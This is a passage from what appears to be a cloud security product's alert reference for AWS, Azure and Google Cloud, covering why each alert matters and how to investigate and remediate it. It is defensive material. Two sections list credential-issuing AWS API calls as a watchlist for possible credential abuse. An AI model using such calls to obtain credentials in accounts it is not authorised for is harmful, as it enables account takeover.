Search for unauthorized changes to the CloudTrail service on the AWS instance. Revert unauthorized changes. Review IAM permissions for individual accounts to see who has privileges to delete CloudTrail.

Resolution

Revert unauthorized changes made to CloudTrail.

Related Information

https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-user-guide.html

CloudTrail Stopped

This alert is disabled by default. You still retain full visibility through the AWS CloudTrail log CloudTrail Changed. You can also re-enable the alert manually if needed.

This alert occurs when Lacework FortiCNAPP detects AWS CloudTrail logging has been stopped.

Why this alert is important

CloudTrail is one of the important logging sources available in AWS. CloudTrail changes can significantly impact the logs received. Any unauthorized change to CloudTrail can limit the logging capability across the AWS account, thus limiting the visibility across AWS instances. Stopping CloudTrail logging would adversely affect visibility across AWS instances.

Investigation

Search for unauthorized changes to the CloudTrail service on the AWS instance. Revert unauthorized changes.

Resolution

Revert unauthorized changes made to CloudTrail. Restart CloudTrail logging for the selected AWS instances.

Related Information

https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-user-guide.html

AWS Account Accessed From Known Bad IP Address

This alert occurs when an AWS IAM user or role accesses AWS services from a known malicious source IP address.

Why this alert is important

This alert indicates the presence of one of the following events where the API request was successful:

Event Type	Description
AwsApiCall	An API was called.
AwsApiCall MFA	An API was called with MFA.
AwsServiceEvent	The service generated an event related to your trail. For example, this can occur when another account makes a call with a resource that you own.
AwsConsoleAction	An action was taken in the console that was not an API call.
AwsConsoleSignIn	A user in your account (root, IAM, federated, SAML, or SwitchRole) signed in to the AWS Management Console.

Investigation

Conduct an AWS security audit, including:

- Review your AWS account credentials.
- Review your IAM users.
- Review your IAM groups.
- Review your IAM roles.
- Review your IAM providers for SAML and OpenID Connect (OIDC).
- If you have created a mobile app that makes requests to AWS, review your mobile apps.
- Review your Amazon EC2 security configuration.
- Review AWS policies in other services.

Check the AWS Management Console for any unusual new resources or a resource in a new AWS region.

Resolution

The following are resolutions that you can implement:

- Avoid using the root user for day-to-day operations.
- Use roles to delegate permissions.
- Grant least privilege.
- Use AWS-managed policies when adding permissions to your IAM identities.
- Validate your policies.
- Use customer-managed policies instead of inline policies.
- Use access levels to review IAM permissions.
- Configure a strong password policy for your users.
- Enable MFA.
- Use roles for applications that run on Amazon EC2 instances.
- Rotate credentials regularly.
- Remove unnecessary credentials.
- Use policy conditions for extra security.
- Monitor activity in your AWS account.

AWS Account Accessed From a New Geolocation

This alert occurs when an AWS IAM user or role accesses AWS services from a new geolocation. This is the first time this AWS account has been accessed from this location.

This alert indicates the presence of one of the following events, where the API request was successful:

Event Type	Description
AwsApiCall	An API was called.
AwsApiCallMfa	An API was called with MFA.
AwsServiceEvent	The service generated an event related to your trail. For example, this can occur when another account makes a call with a resource that you own.
AwsConsoleAction	An action was taken in the console that was not an API call.
AwsConsoleSignIn	A user in your account (root, IAM, federated, SAML, or SwitchRole) signed in to the AWS Management Console.

If multi-factor authentication (MFA) was used to authenticate, the term "Mfa" will be appended to the aforementioned possible values (for example, AwsApiCallMfa). These values are obtained directly from the CloudTrail event records.

Why this alert is important

If a user typically operates from two locations, such as the office and their home, using a new geolocation to access AWS may indicate potential unauthorized access by a malicious actor who has obtained the user's credentials.

Sophisticated or targeted attackers can employ VPNs or other hosting providers to acquire an IP address in proximity to their target, allowing them to bypass certain basic security checks. Therefore, it's crucial to not only consider the country but also the specific city or town associated with the location to enhance security measures.

Why this might be just fine

A user working remotely from a new location, whether due to vacation or VPN usage, may have their source IP address modified, associating it with a different geolocation.

Investigation

Use the steps below to investigate this alert:

1. Review the *Who* section in the *Alert Details* to identify the user in question:
   - Determine if this is a user or an assumed role by reviewing the *AWS User* column. The portion before the slash (/) indicates the identity type. For example:
     - An IAM user: `IAMUser/000000000001:username@example.com`
     - An assumed role: `AssumedRole/000000000001:AWSServiceRoleForAmazonSSM`
   - Obtain the principal ID for each identity involved.
2. Determine which actions were performed by the user during the alert time frame by clicking the IAM identity link in the *Alert Description*. You may need to expand the time frame to access additional relevant activity.

Resolution

The following are resolutions that you can implement:

- Delete or rotate AWS access keys associated with the user.
- Delete any console login profiles associated with the user.
- Delete any unrecognized or unauthorized resources that were created.
- Perform an analysis of any resources or data that was accessed.
- Enable MFA.

AWS Account Accessed From a New Geolocation With a New AWS Event Type

This alert occurs when an AWS IAM user or role calls this AWS event type from this geolocation for the first time.

This alert indicates the presence of one of the following events, where the API request was successful:

Event Type	Description
AwsApiCall	An API was called.
AwsApiCallMfa	An API was called with MFA.
AwsServiceEvent	The service generated an event related to your trail. For example, this can occur when another account makes a call with a resource that you own.
AwsConsoleAction	An action was taken in the console that was not an API call.
AwsConsoleSignIn	A user in your account (root, IAM, federated, SAML, or SwitchRole) signed in to the AWS Management Console.

If multi-factor authentication (MFA) was used to authenticate, the term "Mfa" will be appended to the aforementioned possible values (for example, AwsApiCallMfa). These values are obtained directly from the CloudTrail event records.

Why this alert is important

If a user typically operates from two locations, such as the office and their home, using a new geolocation to access AWS may indicate potential unauthorized access by a malicious actor who has obtained the user's credentials.

Sophisticated or targeted attackers can employ VPNs or other hosting providers to acquire an IP address in proximity to their target, allowing them to bypass certain basic security checks. Therefore, it's crucial to not only consider the country but also the specific city or town associated with the location to enhance security measures.

Why this might be just fine

A user working remotely from a new location, whether due to vacation or VPN usage, may have their source IP address modified, associating it with a different geolocation.

Investigation

Use the steps below to investigate this alert:

1. Review the *Who* section in the *Alert Details* to identify the user in question:
   - Determine if this is a user or an assumed role by reviewing the *AWS User* column. The portion before the slash (/) indicates the identity type. For example:
     - An IAM user: `IAMUser/000000000001:username@example.com`
     - An assumed role: `AssumedRole/000000000001:AWSServiceRoleForAmazonSSM`
   - Obtain the principal ID for each identity involved.
2. Determine which actions were performed by the user during the alert time frame by clicking the IAM identity link in the *Alert Description*. You may need to expand the time frame to access additional relevant activity.

Resolution

The following are resolutions that you can implement:

- Delete or rotate AWS access keys associated with the user.
- Delete any console login profiles associated with the user.
- Delete any unrecognized or unauthorized resources that were created.
- Perform an analysis of any resources or data that was accessed.
- Enable MFA.

New Access Key

This alert is disabled by default. You still retain full visibility through the AWS CloudTrail log Identity and Access Management (IAM) Access Key Change. You can also re-enable the alert manually if needed.

This alert occurs when Lacework FortiCNAPP detects the creation of a new AWS access key.

Why this alert is important

This alert is very important from a security standpoint. Access keys are one of the most common means of authentication used in AWS. A leaked access key can give any attacker access to your environment. Also, whenever an

account is compromised, the attacker wants to maintain and tries to elevate privileges by creating a new access key.

Investigation

Examine the details of the user who triggered the access key creation/deletion. Examining the user deeper could provide other details such as the source IP from where the user logged in. This would help to investigate if someone was trying to impersonate the user. Also, search for any new users created or EC-2 instances spun up to maintain persistence by the attacker

Resolution

Check that access key modification was done by a legitimate user/administrator. Limiting access key creation/deletion to only privileged users can reduce the exposure of this incident.

Related Information

https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html

New Account Access Made

This alert occurs when Lacework FortiCNAPP detects an AWS account identity has made API calls to your account, and this behavior is newly detected.

Why this alert is important

This alert detects the first API access of your account from any AWS identity. The permissions given to the role will determine how much access they have to your account. If the accessing identity is external, risks include data exfiltration, resource manipulation, and other potential impacts.

Why might this be just fine?

You may have granted an external identity access to manage multiple accounts or granted secure AWS resource access to partners and third parties. Lacework FortiCNAPP utilizes this pattern for reading CloudTrail logs and performing configuration checks as part of our AWS integrations.

Investigation

During the investigation of this alert, consider the following questions:

- What is the calling account ID, and does it belong to your organization?
- Which APIs were called as part of this alert?
- Who is the principal ID of the identity from the calling account?
- Where and what is the role that enabled this behavior?
- Who created this role and for what purpose?
- Do this role and its permissions follow the principle of least privilege?
- Which IAM groups have access to this role?

Resolution

The following are resolutions that you can implement:

- Delete or rotate AWS access keys associated with the user.
- Delete any console login profiles associated with the user.
- Delete any unrecognized or unauthorized resources that were created.
- Perform an analysis of any resources or data that was accessed.
- Enable MFA.

New AWS API Invoked

This alert occurs when Lacework FortiCNAPP detects a user uses an AWS service API for the first time in this account and region. Though the service might have been used before, this instance represents the user's initial use of that specific API method in this account and region.

Why this alert is important

A change in behavior, such as using new APIs for the first time, may indicate a compromised account or malicious activity.

Why this might be just fine

The user or identity may have a legitimate reason for using a new API method.

Investigation

Use the steps below to investigate this alert:

1. Identify the API calls made to the service, focusing on sensitive ones involving credentials, persistence, or revealing information. Below are some potentially sensitive API calls:

- iam:CreateAccessKey
- iam:CreateLoginProfile
- iam:CreateServiceSpecificCredential
- iam:ResetServiceSpecificCredential
- iam:UpdateAccessKey
- rds-db:connect
- redshift:GetClusterCredentials
- sso:GetRoleCredentials
- sts:AssumeRole
- sts:AssumeRoleWithSaml
- sts:AssumeRoleWithWebIdentity
- sts:GetFederationToken
- sts:GetSessionToken

2. Validate the legitimacy of the login by correlating logs with your identity provider's logs, using the principal ID from the *Who* section. Check if the login is from a corporate asset.

Resolution

The following are resolutions that you can implement:

- Delete or rotate AWS access keys associated with the user.
- Delete any console login profiles associated with the user.
- Delete any unrecognized or unauthorized resources that were created.
- Perform an analysis of any resources or data that was accessed.
- Enable MFA.

New AWS User

This alert occurs when Lacework FortiCNAPP detects a new IAM user or role using an AWS account for the first time to perform actions within AWS that are logged through AWS CloudTrail. These actions can be executed through the API or the AWS console.

Why this alert is important

Identities are pivotal for access control in the cloud. Attackers may create accounts to retain access and evade detection. Our anomaly detection policy tracks new user creations and detects initial usage of newly created accounts, enabling proactive identification of potential security risks.

Why this might be just fine

As your organization continues to hire and onboard new personnel, creating new users will be a regular occurrence. It is normal to expect this alert to be triggered when new individuals join the organization and utilize the AWS cloud to fulfill their job responsibilities.

Investigation

Investigating this alert requires completing two major steps:

1. Review the *Alert Details* to gather basic information about the event.
   - *Why*: Verify if the user in question is authorized to have access to the account.
   - *When*: Determine if the activity occurred during regular business hours and if it aligns with the user's typical location and working hours.
   - *Who*: Take note of the principal ID and check if MFA (multi-factor authentication) was enabled for this user.
   - *What*: Assess whether the user is accessing services and APIs that are typically associated with their role.
   - *Where*: Identify the AWS regions the user is accessing and be cautious of unusual region usage as it may be an attempt to evade detection. Verify if the IP address used for the requests aligns with the expected country and city from which the user would normally access.
2. Identify any additional operations performed by the new user.
   - Click the IAM user or role name mentioned in the *What* section. This action will filter the CloudTrail dossier to show only the activities associated with the user in question, enabling a focused analysis of the user's actions within the account during the past few hours.
   - If there is further evidence of suspicious activity indicating tactics such as discovery, enumeration, defense evasion, or exfiltration, it is crucial to initiate immediate remediation measures.

Resolution

The following are resolutions that you can implement:

- Delete or rotate AWS access keys associated with the user.
- Delete any console login profiles associated with the user.
- Delete any unrecognized or unauthorized resources that were created.
- Perform an analysis of any resources or data that was accessed.
- Enable MFA.

New Key Management Service (KMS) Key

This alert occurs when Lacework FortiCNAPP detects the creation of a new AWS KMS key.

Why this alert is important

A KMS key is a logical representation of a master key. The key includes metadata, such as the key ID, creation date, description, and key state. The KMS key also contains the key material used to encrypt and decrypt data. Because this is one of the primary keys to encrypt or decrypt data in the environment, it is important to safeguard the key material. If an attacker creates a new key, it would give the attacker the key material to decrypt data in your AWS environment.

Investigation

Search CloudTrail logs to ensure only authorized individuals have access to create and delete the KMS key. Where possible, ensure secure key material that aligns with the organization standards is used. Search for details about whether it is a customer-managed KMS or an AWS-managed KMS.

Resolution

Ensure that all the KMS-related activities are managed by a system administrator with MFA enabled.

Related Information

https://docs.aws.amazon.com/kms/latest/developerguide/concepts.html

New Region

This AWS cloud activity anomaly alert occurs when Lacework FortiCNAPP detects that your AWS account is using an AWS region that it has not used before.

Why this alert is important

Because an AWS region is a collection of AWS resources in a geographic area, an unrecognized new region indicates that your AWS account (or an IAM user whose permissions include enable, disable, and list Regions) is possibly compromised.

Investigation

Conduct an AWS security audit, including:

- Search for any unrecognized or unauthorized resources.
- Search your AWS bill for services that you don't normally use, resources in AWS Regions that you don't normally use, or a significant change in the size of your bill.
- Review your IAM users who have permissions to enable, disable, and list Regions.

Resolution

The following are resolutions that you can implement:

- Delete relevant access keys and IAM users.
- Delete any unrecognized or unauthorized resources and regions.
- If your AWS management account is compromised, immediately reach out to AWS support.
- Once you have regained control of your AWS account, implement best practices for managing your organization's AWS accounts and users.

Related Information

https://aws.amazon.com/premiumsupport/knowledge-center/potential-account-compromise/

New Service

This AWS cloud activity anomaly alert occurs when Lacework FortiCNAPP detects that a user is using an AWS service that they have not used before.

An example of the difference between the *New service* alert and the Service Called API alert:

- When you use S3 for the first time, any action triggers the *New service* alert.
- When you use S3 frequently, but you list buckets for the first time, it triggers the *Service called API* alert for the list buckets action. Later, when you perform get bucket ACL for the first time, it triggers the *Service called API* alert for the get bucket ACL action.

Why this alert is important

This alert is very important from a security standpoint. Unauthorized account activity, such as new services that are unexpectedly launched, can indicate that your AWS credentials are compromised.

Attackers can take advantage of new services to perform malicious actions; for example, run instances on the EC2 service, create new users on the IAM service, or create new buckets on the S3 service.

Investigation

Check the AWS Management Console for any unusual new resources, actions, or operations.

Resolution

Identify the compromised IAM user and access key. Then, disable them. Use AWS CloudTrail to search for API event history associated with the compromised IAM user.

New AWS Service Accessed in Region

This alert occurs when Lacework FortiCNAPP detects an identity accesses an AWS service for the first time in a specific region and account. Conditions for triggering the alert include:

- No previous detection of this identity accessing the service in the same region and account.
- The service may be used by other identities, and this identity may also use it in other regions or accounts.

Why this alert is important

Lacework FortiCNAPP Polygraph establishes behavioral baselines for identities in your cloud deployment. This alert indicates a deviation from the baseline, suggesting unusual behavior by an identity. This may indicate compromised credentials or policy violations. Attackers may use unused cloud regions to hide their activity, making this alert relevant for tracking such attempts.

Why this might be just fine

In software projects, it's common to test new services or APIs. This includes exploring newly launched AWS services, adding functionality, or utilizing new regions for specific customers or geographies.

Investigation

Use the steps below to investigate this alert:

1. Determine if this service is typically used in your organization:
   - Review the filtered CloudTrail dossier for the specific new service. If minimal or no activity is recorded over an extended period (such as one month or more), further investigation is necessary as it indicates potential non-usage of the service.
2. Determine if this region is typically used:
   - Review the filtered CloudTrail dossier for the region in question. If minimal or no activity is recorded over an extended period (such as one month or more), it suggests that the region is not in use and requires further investigation.
3. Identify the API calls made to the service, focusing on sensitive ones involving credentials, persistence, or revealing information. Below are some potentially sensitive API calls:

   - iam:CreateAccessKey
   - iam:CreateLoginProfile
   - iam:CreateServiceSpecificCredential
   - iam:ResetServiceSpecificCredential
   - iam:UpdateAccessKey
   - rds-db:connect
   - redshift:GetClusterCredentials
   - sso:GetRoleCredentials
   - sts:AssumeRole
   - sts:AssumeRoleWithSaml
   - sts:AssumeRoleWithWebIdentity
   - sts:GetFederationToken
   - sts:GetSessionToken

4. Validate the login's legitimacy by correlating logs with your identity provider's logs, using the principal ID from the *Who* section. Check if the login is from a corporate asset.

Resolution

The following are resolutions that you can implement:

- Delete or rotate AWS access keys associated with the user.
- Delete any console login profiles associated with the user.
- Delete any unrecognized or unauthorized resources that were created.
- Perform an analysis of any resources or data that was accessed.
- Enable MFA.

New Virtual Private Cloud (VPC)

This alert is disabled by default. You still retain full visibility through the AWS CloudTrail log Virtual Private Cloud (VPC) Change. You can also re-enable the alert manually if needed.

This alert occurs when Lacework FortiCNAPP detects the creation of a new VPC.

Why this alert is important

Creation of a new VPC by an unauthorized person can lead to loss of integrity and provide anyone access to the VPC. Attackers can use this VPC to carry out malicious activities and misuse the infrastructure for their own benefit.

Investigation

Audit the creation of a new VPC by any individual. Examine CloudTrail to see the activities that were carried out in this VPC. Investigate and analyze the access policy to determine who has access to this VPC.

Resolution

If this was an unauthorized creation of a new VPC, audit and delete the VPC. Institute a policy to follow security best practices whenever a new VPC is created. Best practices include isolating the VPC environments from others, choosing a CIDR IP block for the VPC that does not overlap with others, and having other security mechanisms to prevent unauthorized access.

Related Information

https://attack.mitre.org/tactics/TA0001/

https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html

S3 Bucket Access Control List (ACL) Change

This alert occurs when Lacework FortiCNAPP detects an S3 bucket ACL change.

Why this alert is important

The AWS Access Control List (ACL) plays an important part in limiting the extent to which your S3 buckets are exposed. Unauthorized ACL modification can give attackers access to the interfaces of your S3 bucket instance.

Investigation

Ensure that all changes to ACLs are audited and made only by authorized personnel. Look for rules allowing access to unknown IP addresses. Check for anomalies in ACL changes.

Resolution

Revert all unnecessary NACL changes. Use a common template to make changes. Follow the principle of least privilege.

Related Information

https://docs.aws.amazon.com/AmazonS3/latest/user-guide/what-is-s3.html

Service Called API

This AWS cloud activity anomaly alert occurs when Lacework FortiCNAPP detects that within a service a user is using an AWS API that they have not used before.

An example of the difference between the *Service called API* alert and the New service alert:

- When you use S3 for the first time, any action triggers the *New service* alert.
- When you use S3 frequently, but you list buckets for the first time, it triggers the *Service called API* alert for the list buckets action. Later, when you perform get bucket ACL for the first time, it triggers the *Service called API* alert for the get bucket ACL action.

Why this alert is important

An unauthorized API call can indicate that your AWS credentials are compromised.

Investigation

Use AWS CloudTrail data to view and track API calls made to your account using the following:

- CloudTrail Event history
- CloudTrail Lake
- Amazon CloudWatch Logs
- Amazon Simple Storage Service (Amazon S3) archived log files

Follow these recommendations to remediate compromised credentials in your AWS environment:

1. Identify the affected IAM entity and the API call used.
   The IAM entity (either an IAM user or role) and its identifying information is listed in the Resource section of a finding's details. You can determine the type of IAM entity involved using the User Type field or the Access key ID. The API call used is listed as API in the finding details.
2. Review permission from the IAM entity.
3. Determine whether the IAM entity credentials were used legitimately.

Resolution

The following are resolutions that you can implement:

- Rotate and delete all AWS access keys.
- Rotate any potentially unauthorized IAM user credentials.
- Delete any unrecognized or unauthorized resources.
- Enable MFA.
- Use Amazon GuardDuty to detect suspicious activity within your AWS account.
- Use AWS Access policies to control how IAM users access your resources or buckets. Additionally, you can use Virtual Private Cloud (VPC) endpoints with S3 bucket policies to restrict access to specific VPC endpoints.
- For use cases that require the sharing of S3 objects between different sources, use S3 Access Points to create permission sets that restrict access to only those within your private network.
- Use an access control list (ACL) to securely grant access to your AWS resources to other AWS accounts.

Related Information

https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-track-api/

User Calltype MFA

This alert occurs when Lacework FortiCNAPP detects a user accessing a service with MFA for the first time.

Why this alert is important

As an AWS administrator, you want to know when a new AWS user is logged in for the first time to verify this is an authorized user. An unauthorized user with full administrative privileges can elevate the permissions to perform malicious actions or exfiltrate data.

Investigation

Use AWS CloudTrail, which logs activity in your AWS account to determine the IAM entity performing unauthorized operations. Additionally, service last accessed data in the AWS Console can help you audit permissions.

Resolution

The following are resolutions that you can implement:

- Rotate and delete all AWS access keys.
- Rotate any potentially unauthorized IAM user credentials.
- Delete any unrecognized or unauthorized resources.
- Implement the best practice of least privilege.

Related Information

- https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html

Azure alerts reference

This section provides information about the available Azure security alerts.

For each documented alert, the following information is provided:

- A summary of the alert.
- Why the alert is important.
- Information about investigating the event that triggered the alert.
- Information about how to resolve the alert.

New Azure API Call Invoked by User Accessed Resource for the First Time

This alert occurs when Lacework FortiCNAPP detects a user has called the API to access a resource for the first time.

Why this alert is important

As an Azure admin, you want to verify that this access to a resource is an authorized operation.

Investigate

Use Azure Log Analytics to look at the trends of processes, accounts, and computers to understand when anomalous or rare processes and accounts are run on computers as this can indicate potentially malicious or unwanted activity. Run the following query against your data and note that what comes up is an anomaly or rare over the last 30 days. This query shows the processes run by computers and account groups over a week to see what is new and compare it to the behavior over the last 30 days. This technique can be applied to any Advanced Azure Log Analytics pane logs.

```
let T = SecurityEvent
| where TimeGenerated >= ago(30d)
| extend Date = startofday(TimeGenerated)
| extend Process = ProcessName
| where Process != ""
| where Process != "-"
| where Process !contains "\\Windows\\System"
| where Process !contains "\\Program Files\\Microsoft\\"
| where Process !contains "\\Program Files\\Microsoft Monitoring Agent\\"
| where Process !contains "\\ProgramData\\"
| where Process !contains "\\Windows\\WinSxS\\"
| where Process !contains "\\Windows\\SoftwareDistribution\\"
```

```
| where Process !contains "\\mpsigstub.exe"
| where Process !contains "\\WindowsAzure\\GuestAgent"
| where Process !contains "\\Windows\\Servicing\\TrustedInstaller.exe"
| where Process !contains "\\Windows\\Microsoft.Net\\"
| where Process !contains "\\Packages\\Plugins\\"
| project Date, Process, Computer, Account
| summarize count() by Date, Process, Computer, Account
| sort by count_ desc nulls last;
T
| evaluate activity_counts_metrics(Process, Date, startofday(ago(30d)), startofday(now()), 1d,
Process, Computer, Account)
| extend WeekDate = startofweek(Date)
| project WeekDate, Date, Process, PotentialAnomalyCount = new_dcount, Account, Computer
| join kind= inner
(
       T
       | evaluate activity_engagement(Process, Date, startofday(ago(30d)), startofday(now()),1d, 7d)
       | extend WeekDate = startofweek(Date)
       | project WeekDate, Date, Distribution1day = dcount_activities_inner, Distribution7days = dcount_
activities_outer, Ratio = activity_ratio*100
)
on WeekDate, Date
| where PotentialAnomalyCount == 1 and Ratio < 100
| project WeekDate, Date, Process, Account, Computer , PotentialAnomalyCount, Distribution1day,
Distribution7days, Ratio
| render barchart kind=stacked
```

After identifying a computer or account you want to investigate, you can dig further into the complete data for that computer by opening a secondary query window and filtering only on the computer or account that looks malicious.

Resolution

After detecting anomalous behavior, we recommend the following resolutions:

- Suspend or revoke the user's access.
- Investigate their activity to identify any unauthorized actions they may have taken. You can review the Azure Activity Logs, diagnostic logs, and other security logs to identify any suspicious activity or anomalies.
- If the malicious user has caused any damage, such as deleting or modifying resources, take steps to contain the damage and restore affected resources from backups if necessary.
- It is recommended to change all passwords associated with the affected user account and enable MFA to prevent unauthorized access to Azure resources.
- To prevent similar incidents from occurring in the future, consider implementing stronger security controls, such as role-based access control (RBAC), network security groups, and Azure Security Center. You can also monitor Azure resources for suspicious activity using Azure Sentinel or other security tools.

New Azure API Failed with Error

This alert occurs when Lacework FortiCNAPP detects a new API that failed with an error within a geolocation.

Why this alert is important

APIs are used by applications and services to interact with Azure resources, such as virtual machines, storage accounts, or databases. When an API call fails, it can result in service disruptions, data loss, or other negative impacts.

Investigation

The following sections offer troubleshooting tips for API operations.

Failed request tracing

Use *failed request tracing*, an Internet Information Services (IIS) 7.0 feature, to trace logs according to filters established within a web role's configuration.

Logging destination

Azure outputs trace log files to the default IIS directory for failed request logs. By default, this directory is `%SystemDrive%\inetpub\logs\FailedReqLogFiles`.

Enabling tracing

Each web role must enable tracing by using rules placed in the project's *web.config* file. To enable tracing, place the following in the `system.webServer` section of your *web.config* file:

```
<tracing>
  <traceFailedRequests>
    <add path="*">
      <traceAreas>
        <add provider="ASP" verbosity="Verbose" />
        <add provider="ASPNET" areas="Infrastructure,Module,Page,AppServices" verbosity="Verbose"
/>
        <add provider="ISAPI Extension" verbosity="Verbose" />
        <add provider="WWW Server"
areas="Authentication,Security,Filter,StaticFile,CGI,Compression,Cache,RequestNotifications,Modul
e" verbosity="Verbose" />
      </traceAreas>
      <failureDefinitions statusCodes="400-599" />
    </add>
  </traceFailedRequests>
```

```
</tracing>
```

To disable tracing, remove this section from the *web.config* file.

The x-ms-request-id header

Every request made against Azure Storage returns a response header named `x-ms-request-id`. This header contains an opaque value that uniquely identifies the request.

If a request is consistently failing, and you have verified that the request is properly formulated, you can use this value to report the error to Microsoft. In your report, include the following information:

- The value of `x-ms-request-id`.
- The approximate time that the request was made.
- The Storage service against which the request was made.
- The type of operation that the request attempted.

Resolution

Implement API Management Diagnostics to help you troubleshoot your API published in APIM. When you run into issues with your published APIs, API Management Diagnostics identifies what's wrong and guides you to the correct information to quickly troubleshoot and resolve the issue.

New Azure SP Accessing Resource

This alert occurs when Lacework FortiCNAPP detects a new Azure user has used an API to access resources for the first time.

Why this alert is important

As an Azure administrator, you want to verify this new user is a valid member of your organization and has the permission to perform this action. A new service principal (SP) accessing a resource may be an indication of a potential security breach. If an unauthorized party gains access to a service principal, they could use it to access sensitive data or perform unauthorized actions.

Investigation

Follow the below steps to investigate the incident:

1. *Review Azure Activity Logs*: Azure Activity Logs provide a record of all operations performed on Azure resources, including access by service principals. Review the logs to identify the specific service principal and the resource it

accessed.

2. *Verify the identity of the service principal*: Ensure that the service principal is a legitimate identity authorized to access the resource. Verify the service principal's name, application ID, and other details to ensure they match those of a trusted application or service.
3. *Review access permissions*: Review the access permissions granted to the service principal to ensure they are appropriate and aligned with your organization's security policies. Check the role assignments and access policies to confirm that the service principal has been granted the necessary permissions to access the resource.
4. *Check for any signs of unauthorized access*: Look for any signs of unauthorized access or suspicious activity, such as excessive or unusual resource usage, failed login attempts, or changes to resource configurations.
5. *Investigate the source of the incident*: Determine the source of the incident by identifying the user or application that created the service principal. Review the Azure AD audit logs to identify any actions performed by the user, such as creating or modifying the service principal.

Resolution

To discover anomalous behavior, we recommend defining a set of expected and accepted behavior. This set helps you determine when unexpected behavior occurs. The definition also helps to reduce the noise level of false positives when monitoring and alerting.

After detecting anomalous behavior, we recommend the following resolutions:

- Set up risk-based policies.
- Perform a manual password reset.
- Search for and select Azure AD Risky users in the Azure portal or the Entra portal, select the affected user, and select *Dismiss user(s) risk*.

New Azure Subscription Created

This alert occurs when Lacework FortiCNAPP detects a new Azure user has created a subscription for the first time.

Why this alert is important

As an Azure administrator, you want to ensure this new user is a valid member of your organization and is authorized to create a new subscription. Unauthorized or unapproved subscription creation can result in unmanaged resources, unexpected costs, and security vulnerabilities.

Investigation

A new Azure subscription can indicate a potential security risk or compliance issue. Here are some steps you can take to investigate:

- *Review Azure Activity Logs*: The Azure Activity Logs contain detailed information about all the activities performed on Azure resources. Check the logs for any suspicious activities related to the creation of the new subscription, such as unauthorized access attempts or changes to resource permissions.

- *Review Audit Logs*: Check the audit logs for the resource group or management group that the subscription is associated with. Look for any changes or activities that may indicate malicious activity, such as new virtual machines, storage accounts, or network resources.
- *Check Access Control*: Review the access control settings for the subscription, and ensure that all permissions are appropriate and necessary. If there are any permissions that are not required, revoke them.
- *Investigate Subscription Creation*: Check the date when the new subscription was created, who created it, and what permissions were assigned to it. If the subscription was created by an unauthorized user or has permissions that are not necessary, revoke them and investigate the incident further.
- *Run Vulnerability Scans*: Run vulnerability scans on the new subscription to identify any potential security vulnerabilities or weaknesses.

Resolution

After detecting anomalous behavior, we recommend the following resolutions:

- Immediately disable the subscription. This will prevent further malicious activity and protect your resources from further damage.
- Investigate the incident to determine the scope of the attack, the potential damage, and the root cause. This may involve reviewing access logs, auditing resources, and performing forensic analysis.
- Identify and delete any resources that have been created or used maliciously. This may include virtual machines, storage accounts, or network resources.
- If the malicious activity was caused by compromised credentials, reset the credentials associated with the subscription, including all service accounts and administrative accounts.
- Enable Azure Security Center to identify and remediate security issues, and to provide ongoing monitoring and alerts for potential security threats.
- Review your security policies and update them as necessary to prevent similar incidents from happening in the future. This may include strengthening access controls, implementing multi-factor authentication, or increasing monitoring of your Azure resources.

New Azure User Performed Operation on Resource for the First Time

This alert occurs when Lacework FortiCNAPP detects a user has performed operations on a resource for the first time.

Why this alert is important

As an Azure admin, you want to ensure that these operations are authorized and are within the permissions granted to this user.

Investigation

Conduct a security audit on the suspicious Azure resource, including:

- Review the Activity log to identity operations within the detected timeframe, for example, creating a new resource or starting a virtual machine.
- Review the resource log to gain more insight into operations performed by an Azure resource. Operation examples might be getting a secret from a key vault or making a request to a database. Resource logs are generated automatically, but you must create a diagnostic setting to send them to Azure Monitor Logs.
- Review the resource entity page for basic details about the resource, such as location, creation timestamp, the associated resource group and associated tags, as well as info related to access management, such as who has permission to access this resource and what networks are allowed access to it.

Resolution

After detecting anomalous behavior, we recommend the following resolutions:

- Suspend or revoke the user's access.
- Investigate their activity to identify any unauthorized actions they may have taken. You can review the Azure Activity Logs, diagnostic logs, and other security logs to identify any suspicious activity or anomalies.
- If the malicious user has caused any damage, such as deleting or modifying resources, take steps to contain the damage and restore affected resources from backups if necessary.
- It is recommended to change all passwords associated with the affected user account and enable MFA to prevent unauthorized access to Azure resources.
- To prevent similar incidents from occurring in the future, consider implementing stronger security controls, such as role-based access control (RBAC), network security groups, and Azure Security Center. You can also monitor Azure resources for suspicious activity using Azure Sentinel or other security tools.

Google Cloud alerts reference

This section provides information about the available Google Cloud security alerts.

For each documented alert, the following information is provided:

- A summary of the alert.
- Why the alert is important.
- Information about investigating the event that triggered the alert.
- Information about how to resolve the alert.

Cloud VPN Deleted

This alert occurs when Lacework FortiCNAPP detects an existing VPN connection was deleted in the Google Cloud environment.

Related policy: *LW_AT_RESOURCE_171: Cloud VPN Deleted*

Why this alert is important

When a cloud VPN connection is deleted, it can indicate that a user or application has intentionally or unintentionally removed a critical component of your network infrastructure, which can potentially lead to network downtime or unauthorized access to your resources, especially if the VPN was used to connect to critical resources or sensitive data.

By detecting this incident, you can take action to mitigate any potential security risks and ensure that your network infrastructure remains secure.

Investigation

Follow these steps to investigate the alert:

1. Review the Audit Logs to identify who deleted the cloud VPN and when it was deleted. Look for unusual activity, such as access from unknown IP addresses or abnormal user behavior.
2. Review your Google Cloud logs and look for any other suspicious activity, such as failed login attempts, access to sensitive data, or unusual network traffic.
3. Check the IAM permissions of the user who deleted the cloud VPN. Ensure that the user had the appropriate permissions to perform this action and that their account was not compromised.
4. Review your firewall rules to ensure they are properly configured to avoid unauthorized access.
5. Review your network policies to ensure they are properly configured to avoid unauthorized access.
6. Check your systems for malware or other malicious software that may have been used to gain access to your Google Cloud environment.

Resolution

Use the following steps to resolve an unauthorized cloud VPN deletion:

1. If you have a backup of your VPN configuration, you can use it to restore the connection. If not, you may need to create a new VPN connection and reconfigure your network settings.
2. If the VPN was deleted due to unauthorized access, take steps to remove the access immediately. This may involve revoking user permissions, resetting passwords, and implementing additional security measures to prevent further unauthorized access.
3. Implement best practices for Google Cloud security, such as two-factor authentication, regular password changes, and restricting access to sensitive resources.
4. Monitor your Google Cloud environment for further unauthorized access or suspicious activity. This may involve implementing additional monitoring tools and regularly reviewing logs and other data.
